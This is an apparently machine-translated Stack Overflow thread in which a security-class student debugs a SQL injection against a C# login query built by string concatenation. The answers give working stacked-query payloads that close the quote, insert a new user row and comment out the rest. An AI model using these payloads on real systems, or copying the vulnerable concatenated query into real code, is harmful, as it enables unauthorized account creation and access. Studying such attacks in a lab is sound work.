我在计算机安全方面有一个类,并且在本地机器上执行sql注入时遇到了一些语法问题,我们应该对其进行黑客攻击。
下面是sql语法的语法。
SqlCommand sqlc = new SqlCommand("SELECT Record FROM Table_Users WHERE Username='" + username + "' AND Password='" + password + "'");
我们在登录(用户名)字段和密码中的‘’或'1'='1‘中尝试以下操作
;INSERT Table_Users (Username, Password) VALUES ('hejsan', 'glenn');
但我得到了一个语法错误“不正确的语法在‘hejsan’附近。”
你能看到语法错误吗?
发布于 2014-02-19 06:35:34
试一试
';INSERT Table_Users (Username, Password) VALUES ('hejsan', 'glenn');
->您需要在Username=
之后关闭'
。在这种情况下,您甚至不需要密码字段的值。
您可以将--
放在注入语句之后,以取消其余的select语句:
';INSERT Table_Users (Username, Password) VALUES ('hejsan', 'glenn');--
发布于 2014-02-19 05:55:39
我的第一个想法是使用INSERT INTO Table_Users
而不是INSERT Table_Users
,但是正如海报上所指出的,INTO
是可选的(在MSSQL中,与标准的INTO
相比)。
再想一想,根据您的列的数据类型,查询可以按照What is the meaning of the prefix N in T-SQL statements?在值的前面添加N。
发布于 2014-02-19 06:18:44
也许有什么引号吗?
var password = "';INSERT Table_Users (Username, Password) VALUES (''hejsan'', ''glenn''); select '";
https://stackoverflow.com/questions/21882572
复制相似问题